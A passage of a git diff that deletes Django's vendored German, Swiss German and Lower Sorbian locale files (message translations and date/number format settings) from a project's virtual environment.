sicherstellen, dass der Wert höchstens %(max)s Ziffern vor dem Komma " -"enthält." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Dateiendung „%(extension)s“ ist nicht erlaubt. Erlaubte Dateiendungen sind: " -"„%(allowed_extensions)s“." - -msgid "Null characters are not allowed." -msgstr "Nullzeichen sind nicht erlaubt." - -msgid "and" -msgstr "und" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s mit diesem %(field_labels)s existiert bereits." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Bedingung „%(name)s“ ist nicht erfüllt." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Wert %(value)r ist keine gültige Option." - -msgid "This field cannot be null." -msgstr "Dieses Feld darf nicht null sein." - -msgid "This field cannot be blank." -msgstr "Dieses Feld darf nicht leer sein." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s mit diesem %(field_label)s existiert bereits." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s muss für %(date_field_label)s %(lookup_type)s eindeutig sein." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Feldtyp: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Wert „%(value)s“ muss entweder True oder False sein." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Wert „%(value)s“ muss True, False oder None sein." - -msgid "Boolean (Either True or False)" -msgstr "Boolescher Wert (True oder False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Zeichenkette (bis zu %(max_length)s Zeichen)" - -msgid "String (unlimited)" -msgstr "Zeichenkette (unlimitiert)" - -msgid "Comma-separated integers" -msgstr "Kommaseparierte Liste von Ganzzahlen" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Wert „%(value)s“ hat ein ungültiges Datumsformat. Es muss YYYY-MM-DD " -"entsprechen." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Wert „%(value)s“ hat das korrekte Format (YYYY-MM-DD) aber ein ungültiges " -"Datum." - -msgid "Date (without time)" -msgstr "Datum (ohne Uhrzeit)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Wert „%(value)s“ hat ein ungültiges Format. Es muss YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] entsprechen." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Wert „%(value)s“ hat das korrekte Format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) aber eine ungültige Zeit-/Datumsangabe." - -msgid "Date (with time)" -msgstr "Datum (mit Uhrzeit)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Wert „%(value)s“ muss eine Dezimalzahl sein." - -msgid "Decimal number" -msgstr "Dezimalzahl" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Wert „%(value)s“ hat ein ungültiges Format. Es muss der Form [DD] [HH:" -"[MM:]]ss[.uuuuuu] entsprechen." - -msgid "Duration" -msgstr "Zeitspanne" - -msgid "Email address" -msgstr "E-Mail-Adresse" - -msgid "File path" -msgstr "Dateipfad" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Wert „%(value)s“ muss eine Fließkommazahl sein." - -msgid "Floating point number" -msgstr "Gleitkommazahl" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Wert „%(value)s“ muss eine Ganzzahl sein." - -msgid "Integer" -msgstr "Ganzzahl" - -msgid "Big (8 byte) integer" -msgstr "Große Ganzzahl (8 Byte)" - -msgid "Small integer" -msgstr "Kleine Ganzzahl" - -msgid "IPv4 address" -msgstr "IPv4-Adresse" - -msgid "IP address" -msgstr "IP-Adresse" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Wert „%(value)s“ muss entweder None, True oder False sein." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolescher Wert (True, False oder None)" - -msgid "Positive big integer" -msgstr "Positive große Ganzzahl" - -msgid "Positive integer" -msgstr "Positive Ganzzahl" - -msgid "Positive small integer" -msgstr "Positive kleine Ganzzahl" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Kürzel (bis zu %(max_length)s)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Wert „%(value)s“ hat ein ungültiges Format. Es muss HH:MM[:ss[.uuuuuu]] " -"entsprechen." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Wert „%(value)s“ hat das korrekte Format (HH:MM[:ss[.uuuuuu]]), aber ist " -"eine ungültige Zeitangabe." - -msgid "Time" -msgstr "Zeit" - -msgid "URL" -msgstr "Adresse (URL)" - -msgid "Raw binary data" -msgstr "Binärdaten" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Wert „%(value)s“ ist keine gültige UUID." - -msgid "Universally unique identifier" -msgstr "Universally Unique Identifier" - -msgid "File" -msgstr "Datei" - -msgid "Image" -msgstr "Bild" - -msgid "A JSON object" -msgstr "Ein JSON-Objekt" - -msgid "Value must be valid JSON." -msgstr "Wert muss gültiges JSON sein." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Objekt vom Typ %(model)s mit %(field)s %(value)r existiert nicht." - -msgid "Foreign Key (type determined by related field)" -msgstr "Fremdschlüssel (Typ definiert durch verknüpftes Feld)" - -msgid "One-to-one relationship" -msgstr "1:1-Beziehung" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s-Beziehung" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s-Beziehungen" - -msgid "Many-to-many relationship" -msgstr "n:m-Beziehung" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Dieses Feld ist zwingend erforderlich." - -msgid "Enter a whole number." -msgstr "Bitte eine ganze Zahl eingeben." - -msgid "Enter a valid date." -msgstr "Bitte ein gültiges Datum eingeben." - -msgid "Enter a valid time." -msgstr "Bitte eine gültige Uhrzeit eingeben." - -msgid "Enter a valid date/time." -msgstr "Bitte ein gültiges Datum und Uhrzeit eingeben." - -msgid "Enter a valid duration." -msgstr "Bitte eine gültige Zeitspanne eingeben." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Die Anzahl der Tage muss zwischen {min_days} und {max_days} sein." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Es wurde keine Datei übertragen. Überprüfen Sie das Encoding des Formulars." - -msgid "No file was submitted." -msgstr "Es wurde keine Datei übertragen." - -msgid "The submitted file is empty." -msgstr "Die übertragene Datei ist leer." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Bitte sicherstellen, dass der Dateiname aus höchstens %(max)d Zeichen " -"besteht. (Er besteht aus %(length)d Zeichen.)" -msgstr[1] "" -"Bitte sicherstellen, dass der Dateiname aus höchstens %(max)d Zeichen " -"besteht. (Er besteht aus %(length)d Zeichen.)" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Bitte wählen Sie entweder eine Datei aus oder wählen Sie „Löschen“, nicht " -"beides." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Bitte ein gültiges Bild hochladen. Die hochgeladene Datei ist kein Bild oder " -"ist defekt." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Bitte eine gültige Auswahl treffen. %(value)s ist keine gültige Auswahl." - -msgid "Enter a list of values." -msgstr "Bitte eine Liste mit Werten eingeben." - -msgid "Enter a complete value." -msgstr "Bitte einen vollständigen Wert eingeben." - -msgid "Enter a valid UUID." -msgstr "Bitte eine gültige UUID eingeben." - -msgid "Enter a valid JSON." -msgstr "Bitte ein gültiges JSON-Objekt eingeben." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Verstecktes Feld %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Daten für das Management-Formular fehlen oder wurden manipuliert. Fehlende " -"Felder: %(field_names)s. Bitte erstellen Sie einen Bug-Report falls der " -"Fehler dauerhaft besteht." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Bitte höchstens %(num)d Forumlar abschicken." -msgstr[1] "Bitte höchstens %(num)d Formulare abschicken." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Bitte mindestends %(num)d Formular abschicken." -msgstr[1] "Bitte mindestens %(num)d Formulare abschicken." - -msgid "Order" -msgstr "Reihenfolge" - -msgid "Delete" -msgstr "Löschen" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Bitte die doppelten Daten für %(field)s korrigieren." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Bitte die doppelten Daten für %(field)s korrigieren, das eindeutig sein muss." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Bitte die doppelten Daten für %(field_name)s korrigieren, da es für " -"%(lookup)s in %(date_field)s eindeutig sein muss." - -msgid "Please correct the duplicate values below." -msgstr "Bitte die unten aufgeführten doppelten Werte korrigieren." - -msgid "The inline value did not match the parent instance." -msgstr "Der Inline-Wert passt nicht zur übergeordneten Instanz." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Bitte eine gültige Auswahl treffen. Dies ist keine gültige Auswahl." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "„%(pk)s“ ist kein gültiger Wert." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s konnte mit der Zeitzone %(current_timezone)s nicht eindeutig " -"interpretiert werden, da es doppeldeutig oder eventuell inkorrekt ist." - -msgid "Clear" -msgstr "Zurücksetzen" - -msgid "Currently" -msgstr "Derzeit" - -msgid "Change" -msgstr "Ändern" - -msgid "Unknown" -msgstr "Unbekannt" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nein" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "Ja,Nein,Vielleicht" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d Byte" -msgstr[1] "%(size)d Bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "nachm." - -msgid "a.m." -msgstr "vorm." - -msgid "PM" -msgstr "nachm." - -msgid "AM" -msgstr "vorm." - -msgid "midnight" -msgstr "Mitternacht" - -msgid "noon" -msgstr "Mittag" - -msgid "Monday" -msgstr "Montag" - -msgid "Tuesday" -msgstr "Dienstag" - -msgid "Wednesday" -msgstr "Mittwoch" - -msgid "Thursday" -msgstr "Donnerstag" - -msgid "Friday" -msgstr "Freitag" - -msgid "Saturday" -msgstr "Samstag" - -msgid "Sunday" -msgstr "Sonntag" - -msgid "Mon" -msgstr "Mo" - -msgid "Tue" -msgstr "Di" - -msgid "Wed" -msgstr "Mi" - -msgid "Thu" -msgstr "Do" - -msgid "Fri" -msgstr "Fr" - -msgid "Sat" -msgstr "Sa" - -msgid "Sun" -msgstr "So" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "März" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Dezember" - -msgid "jan" -msgstr "Jan" - -msgid "feb" -msgstr "Feb" - -msgid "mar" -msgstr "Mär" - -msgid "apr" -msgstr "Apr" - -msgid "may" -msgstr "Mai" - -msgid "jun" -msgstr "Jun" - -msgid "jul" -msgstr "Jul" - -msgid "aug" -msgstr "Aug" - -msgid "sep" -msgstr "Sep" - -msgid "oct" -msgstr "Okt" - -msgid "nov" -msgstr "Nov" - -msgid "dec" -msgstr "Dez" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "März" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dez." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "März" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Mai" - -msgctxt "alt. month" -msgid "June" -msgstr "Juni" - -msgctxt "alt. month" -msgid "July" -msgstr "Juli" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "Dezember" - -msgid "This is not a valid IPv6 address." -msgstr "Dies ist keine gültige IPv6-Adresse." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "oder" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d Jahr" -msgstr[1] "%(num)d Jahre" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d Monat" -msgstr[1] "%(num)d Monate" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d Woche" -msgstr[1] "%(num)d Wochen" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d Tag" -msgstr[1] "%(num)d Tage" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d Stunde" -msgstr[1] "%(num)d Stunden" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d Minute" -msgstr[1] "%(num)d Minuten" - -msgid "Forbidden" -msgstr "Verboten" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-Verifizierung fehlgeschlagen. Anfrage abgebrochen." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Sie sehen diese Fehlermeldung, da diese HTTPS-Seite einen „Referer“-Header " -"von Ihrem Webbrowser erwartet, aber keinen erhalten hat. Dieser Header ist " -"aus Sicherheitsgründen notwendig, um sicherzustellen, dass Ihr Webbrowser " -"nicht von Dritten missbraucht wird." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Falls Sie Ihren Webbrowser so konfiguriert haben, dass „Referer“-Header " -"nicht gesendet werden, müssen Sie diese Funktion mindestens für diese Seite, " -"für sichere HTTPS-Verbindungen oder für „Same-Origin“-Verbindungen " -"reaktivieren." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Wenn der Tag „“ oder der " -"„Referrer-Policy: no-referrer“-Header verwendet wird, entfernen Sie sie " -"bitte. Der „Referer“-Header wird zur korrekten CSRF-Verifizierung benötigt. " -"Falls es datenschutzrechtliche Gründe gibt, benutzen Sie bitte Alternativen " -"wie „“ für Links zu Drittseiten." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Sie sehen Diese Nachricht, da diese Seite einen CSRF-Cookie beim Verarbeiten " -"von Formulardaten benötigt. Dieses Cookie ist aus Sicherheitsgründen " -"notwendig, um sicherzustellen, dass Ihr Webbrowser nicht von Dritten " -"missbraucht wird." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Falls Sie Cookies in Ihren Webbrowser deaktiviert haben, müssen Sie sie " -"mindestens für diese Seite oder für „Same-Origin“-Verbindungen reaktivieren." - -msgid "More information is available with DEBUG=True." -msgstr "Mehr Information ist verfügbar mit DEBUG=True." - -msgid "No year specified" -msgstr "Kein Jahr angegeben" - -msgid "Date out of range" -msgstr "Datum außerhalb des zulässigen Bereichs" - -msgid "No month specified" -msgstr "Kein Monat angegeben" - -msgid "No day specified" -msgstr "Kein Tag angegeben" - -msgid "No week specified" -msgstr "Keine Woche angegeben" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Keine %(verbose_name_plural)s verfügbar" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"In der Zukunft liegende %(verbose_name_plural)s sind nicht verfügbar, da " -"%(class_name)s.allow_future auf False gesetzt ist." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ungültiges Datum „%(datestr)s“ für das Format „%(format)s“" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Konnte keine %(verbose_name)s mit diesen Parametern finden." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Weder ist dies die letzte Seite („last“) noch konnte sie in einen " -"ganzzahligen Wert umgewandelt werden." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ungültige Seite (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Leere Liste und „%(class_name)s.allow_empty“ ist False." - -msgid "Directory indexes are not allowed here." -msgstr "Dateilisten sind untersagt." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ ist nicht vorhanden" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Verzeichnis %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Die Installation war erfolgreich. Herzlichen Glückwunsch!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Versionshinweise für Django " -"%(version)s anzeigen" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Diese Seite ist sichtbar weil in der Settings-Datei DEBUG = True steht und die URLs noch nicht konfiguriert " -"sind." - -msgid "Django Documentation" -msgstr "Django-Dokumentation" - -msgid "Topics, references, & how-to’s" -msgstr "Themen, Referenz, & Kurzanleitungen" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: Eine Umfrage-App" - -msgid "Get started with Django" -msgstr "Los geht's mit Django" - -msgid "Django Community" -msgstr "Django-Community" - -msgid "Connect, get help, or contribute" -msgstr "Nimm Kontakt auf, erhalte Hilfe oder arbeite an Django mit" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/de/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/de/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index a081e71d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/de/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/de/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index fc69672b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/de/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/de/formats.py deleted file mode 100644 index 45953ce2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/de/formats.py +++ /dev/null @@ -1,29 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - # "%d. %B %Y", # '25. October 2006' - # "%d. %b. %Y", # '25. Oct. 2006' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index b347e284..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index ec594a42..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/de_CH/formats.py deleted file mode 100644 index f42dd487..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/de_CH/formats.py +++ /dev/null @@ -1,35 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - # "%d. %B %Y", # '25. October 2006' - # "%d. %b. %Y", # '25. Oct. 2006' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' -] - -# these are the separators for non-monetary numbers. For monetary numbers, -# the DECIMAL_SEPARATOR is a . (decimal point) and the THOUSAND_SEPARATOR is a -# ' (single quote). -# For details, please refer to the documentation and the following link: -# https://www.bk.admin.ch/bk/de/home/dokumentation/sprachen/hilfsmittel-textredaktion/schreibweisungen.html -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/dsb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/dsb/LC_MESSAGES/django.mo deleted file mode 100644 index c7bf58d7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/dsb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/dsb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/dsb/LC_MESSAGES/django.po deleted file mode 100644 index 2a37c926..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/dsb/LC_MESSAGES/django.po +++ /dev/null @@ -1,1392 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Wolf , 2016-2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Michael Wolf , 2016-2025\n" -"Language-Team: Lower Sorbian (http://app.transifex.com/django/django/" -"language/dsb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: dsb\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -msgid "Afrikaans" -msgstr "Afrikaanšćina" - -msgid "Arabic" -msgstr "Arabšćina" - -msgid "Algerian Arabic" -msgstr "Algeriska arabšćina" - -msgid "Asturian" -msgstr "Asturišćina" - -msgid "Azerbaijani" -msgstr "Azerbajdžanišćina" - -msgid "Bulgarian" -msgstr "Bulgaršćina" - -msgid "Belarusian" -msgstr "Běłorušćina" - -msgid "Bengali" -msgstr "Bengalšćina" - -msgid "Breton" -msgstr "Bretońšćina" - -msgid "Bosnian" -msgstr "Bosnišćina" - -msgid "Catalan" -msgstr "Katalańšćina" - -msgid "Central Kurdish (Sorani)" -msgstr "Centralna kurdišćina (Sorani)" - -msgid "Czech" -msgstr "Češćina" - -msgid "Welsh" -msgstr "Kymrišćina" - -msgid "Danish" -msgstr "Dańšćina" - -msgid "German" -msgstr "Nimšćina" - -msgid "Lower Sorbian" -msgstr "Dolnoserbšćina" - -msgid "Greek" -msgstr "Grichišćina" - -msgid "English" -msgstr "Engelšćina" - -msgid "Australian English" -msgstr "Awstralska engelšćina" - -msgid "British English" -msgstr "Britiska engelšćina" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Špańšćina" - -msgid "Argentinian Spanish" -msgstr "Argentinska špańšćina" - -msgid "Colombian Spanish" -msgstr "Kolumbiska špańšćina" - -msgid "Mexican Spanish" -msgstr "Mexikańska špańšćina" - -msgid "Nicaraguan Spanish" -msgstr "Nikaraguaska špańšćina" - -msgid "Venezuelan Spanish" -msgstr "Venezolaniska špańšćina" - -msgid "Estonian" -msgstr "Estnišćina" - -msgid "Basque" -msgstr "Baskišćina" - -msgid "Persian" -msgstr "Persišćina" - -msgid "Finnish" -msgstr "Finšćina" - -msgid "French" -msgstr "Francojšćina" - -msgid "Frisian" -msgstr "Frizišćina" - -msgid "Irish" -msgstr "Iršćina" - -msgid "Scottish Gaelic" -msgstr "Šotiska gelišćina" - -msgid "Galician" -msgstr "Galicišćina" - -msgid "Hebrew" -msgstr "Hebrejšćina" - -msgid "Hindi" -msgstr "Hindišćina" - -msgid "Croatian" -msgstr "Chorwatšćina" - -msgid "Upper Sorbian" -msgstr "Górnoserbšćina" - -msgid "Hungarian" -msgstr "Hungoršćina" - -msgid "Armenian" 